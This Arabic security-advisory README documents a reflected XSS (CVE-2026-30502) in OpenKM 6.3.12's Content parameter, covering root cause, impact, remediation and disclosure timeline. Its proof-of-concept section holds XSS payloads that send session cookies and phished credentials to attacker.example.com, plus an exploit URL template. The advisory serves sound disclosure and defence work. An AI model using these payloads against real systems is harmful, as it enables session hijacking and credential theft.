
وثائق وإثبات المفهوم لـ CVE-2026-30502، وهي ثغرة XSS منعكسة في OpenKM v6.3.12. تتضمن تحليلًا تقنيًا، السبب الجذري، تقييم التأثير، وإرشادات المعالجة للباحثين في الأمن ومختبرَي الاختراق.
تم اكتشافه وإبلاغه بواسطة Dharmendra Kumar — باحث أمني
الأمن السيبراني | اختبار الاختراق | أبحاث الثغرات | الإفصاح المسؤول
يوثق هذا المستودع الإفصاح المسؤول عن CVE-2026-30502، وهي ثغرة Cross-Site Scripting (XSS) منعكس تم تحديدها في OpenKM الإصدار 6.3.12 — وهو نظام إدارة مستندات مفتوح المصدر يستخدم على نطاق واسع في بيئات المؤسسات والحكومات.
توجد الثغرة في معامل Content، الذي يعكس إدخال المستخدم مرة أخرى إلى المتصفح دون تنقية أو ترميز مناسب. يمكن للمهاجم صياغة رابط ضار يحتوي على نصوص JavaScript مضمنة وخداع الضحية للنقر عليه، مما يؤدي إلى تنفيذ البرنامج النصي داخل جلسة المتصفح الخاصة بالضحية.
⚠️ الخطورة: متوسط–مرتفع | متجه الهجوم: شبكة | الامتيازات المطلوبة: لا شيء | تفاعل المستخدم: مطلوب
OpenKM هو نظام إدارة مستندات مفتوح المصدر ومجاني يوفر واجهة ويب لإدارة وتدقيق وتوزيع مستندات الأعمال. يُستخدم من قبل المؤسسات والهيئات الحكومية والمؤسسات التعليمية في جميع أنحاء العالم.
v6.3.12تم تحديد ثغرة Cross-Site Scripting (XSS) منعكس في OpenKM الإصدار 6.3.12 عبر معامل Content. يفشل التطبيق في التحقق من صحة أو ترميز الإدخال الذي يقدمه المستخدم قبل عكسه في نص استجابة HTTP، مما يسمح بحقن نصوص JavaScript تعسفية وتنفيذها في متصفح الضحية.
على عكس XSS المخزن، لا يتم تخزين حمولة XSS المنعكس في قاعدة البيانات — بل تحمل داخل رابط مصمم. يعتمد الهجوم على خداع الضحية للنقر على رابط ضار (يتم تسليمه عبر البريد الإلكتروني أو وسائل التواصل الاجتماعي أو حملات التصيد)، وبعدها يتم تنفيذ الحمولة بصمت في المتصفح بسياق جلسة الضحية.
مهاجم يصمم رابطًا ضارًا
│
▼
ضحية تنقر على الرابط (تصيد / هندسة اجتماعية)
│
▼
المتصفح يرسل طلب GET/POST مع الحمولة في معامل `Content`
│
▼
OpenKM يعكس الإدخال غير المنقى مباشرة في استجابة HTML
│
▼
المتصفح يوزع وينفذ JavaScript المحقون
│
▼
اختطاف الجلسة / سرقة بيانات الاعتماد / اختراق الحساب
تنتج الثغرة عن فشل التطبيق في فرض ضوابط أمان الإدخال والإخراج على معامل Content:
رابط من صنع المستخدم ──► معامل Content ──► [لا تحقق]
──► منعكسة في استجابة HTML ──► [لا ترميز]
──► المتصفح ينفذ البرنامج النصي ──► اختراق الحساب
يمكن أن يؤدي استغلال هذه الثغرة بنجاح إلى:
⚠️ إخلاء مسؤولية: المعلومات التالية مشتركة بدقة للأغراض التعليمية وبحث الأمن السيبراني وفقًا لمبادئ الإفصاح المسؤول. لا تختبر أو تستخدم هذا ضد أنظمة لا تملكها أو لديك إذن كتابي صريح بتقييمها.
// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Credential phishing overlay
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Username"/>'
+'<input name="p" type="password" placeholder="Password"/>'
+'<button>Sign In</button></form>';
document.body.prepend(d);
</script>
https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>
ContentContentاتبعت مبادئ الإفصاح المسؤول الكاملة خلال هذه العملية، بما في ذلك التنسيق مع البائع والمشاركة مع برنامج CVE قبل أي إصدار عام.
باحث أمني | مختبر اختراق | صائد ثغرات | مساهم في CVE
Dharmendra Kumar هو باحث أمن سيبراني مستقل متخصص في أمن تطبيقات الويب واختبار الاختراق والإفصاح المسؤول عن الثغرات. يركز بحثه على تحديد الثغرات الأمنية الواقعية في البرامج واسعة الاستخدام والإبلاغ عنها بمسؤولية — مما يساهم في تطبيقات أكثر أمانًا للمستخدمين عالميًا.
مجالات الخبرة:
تواصل معي:
هذا المستودع مخصص فقط للأغراض التعليمية والإعلامية. يتم نشر تفاصيل الثغرة وحمولات إثبات المفهوم وفقًا لمبادئ الإفصاح المسؤول. لا يؤيد المؤلف أو يتحمل مسؤولية أي استخدام غير مصرح به لهذه المعلومات. احصل دائمًا على إذن كتابي صريح قبل إجراء اختبار أمان على أي نظام لا تملكه.
شكر خاص لـ:
⭐ إذا ساعدك هذا البحث، يرجى التفكير في وضع نجمة على هذا المستودع.
أبحاث أمنية مشتركة علنًا لجعل الويب أكثر أمانًا للجميع.
© 2026 Dharmendra Kumar — جميع الحقوق محفوظة
| الحقل | التفاصيل |
|---|
| معرف CVE | CVE-2026-30502 |
| المنتج | OpenKM |
| الإصدار المتأثر | v6.3.12 |
| فئة الثغرة | Cross-Site Scripting (XSS) منعكس |
| المعامل الضعيف | Content |
| CWE | CWE-79: تحييد غير صحيح للإدخال أثناء إنشاء صفحة الويب |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| الخطورة | متوسط–مرتفع |
| الناشر | برنامج CVE لـ MITRE |
| الباحث | Dharmendra Kumar |
| نوع الإفصاح | مسؤول / منسق |
| الضعف | الوصف |
|---|
| ❌ لا يوجد التحقق من صحة الإدخال | يقبل معامل Content أحرف HTML/JavaScript الخام دون قيود أو تصفية |
| ❌ لا يوجد ترميز للمخرجات | تُكتب القيم المنعكسة في استجابة HTML دون ترميز كيانات HTML |
| ❌ عدم وجود رأس CSP | لا يتم فرض سياسة أمان المحتوى لمنع تنفيذ البرامج النصية المضمنة |
| ❌ عدم وجود كعكات HTTPOnly | رموز الجلسة يمكن الوصول إليها عبر JavaScript، مما يسمح بسرقة الكعكات مباشرة |
| المخاطرة | الوصف |
|---|
| 🍪 اختطاف الجلسة | سرقة رموز الجلسة النشطة عبر document.cookie لانتحال شخصية الضحية |
| 🔑 حصاد بيانات الاعتماد | حقن طبقات تسجيل دخول مزيفة لالتقاط أسماء المستخدمين وكلمات المرور النصية |
| 📤 الكشف عن المعلومات | تسريب محتوى المستندات الحساسة أو بيانات المستخدم أو التكوينات الداخلية |
| 🎣 هجمات التصيد | تقديم صفحات مزيفة مقنعة مستضافة داخل نطاق OpenKM الموثوق |
| 👤 الاستيلاء على الحساب | تنفيذ إجراءات مصادقة تعسفية نيابة عن الضحية |
| ⚙️ إجراءات غير مصرح بها | تعديل أو حذف أو تسريب المستندات داخل نظام DMS |
| 🖥️ توزيع البرامج الضارة | توجيه الضحايا إلى مواقع يتحكم فيها المهاجم تستضيف تنزيلات ضارة |
| التوصية | التنفيذ |
|---|
| ✅ التحقق من صحة الإدخال | رفض أو تجريد أحرف HTML الخاصة (<, >, ", ', ;) من جميع المعاملات التي يتحكم فيها المستخدم |
| ✅ ترميز المخرجات | تطبيق ترميز HTML مدرك للسياق باستخدام مكتبات مثل OWASP Java Encoder قبل عرض البيانات المنعكسة |
| ✅ سياسة أمان المحتوى | نشر رأس CSP صارم: Content-Security-Policy: default-src 'self'; script-src 'self' |
| ✅ كعكات HTTPOnly | تعيين علامات HttpOnly و Secure على جميع كعكات الجلسة لمنع الوصول عبر JavaScript |
| ✅ مكتبات الأمان | دمج OWASP AntiSamy أو DOMPurify لتنقية قوية |
| ✅ الترقية | تطبيق أحدث تصحيح أمني من البائع فورًا |
| التاريخ | الحدث |
|---|
| 🔍 الاكتشاف | تم تحديد الثغرة أثناء تقييم أمني لـ OpenKM الإصدار 6.3.12 |
| 📧 إخطار البائع | تقديم تقرير الإفصاح المسؤول إلى فريق أمان OpenKM |
| 🤝 إقرار البائع | فريق OpenKM أقر بتقرير الثغرة |
| 📝 تعيين CVE | تم تعيين CVE-2026-30502 عبر برنامج CVE لـ MITRE |
| 🌐 الإفصاح العام | إفصاح عام منسق بعد فترة المعالجة |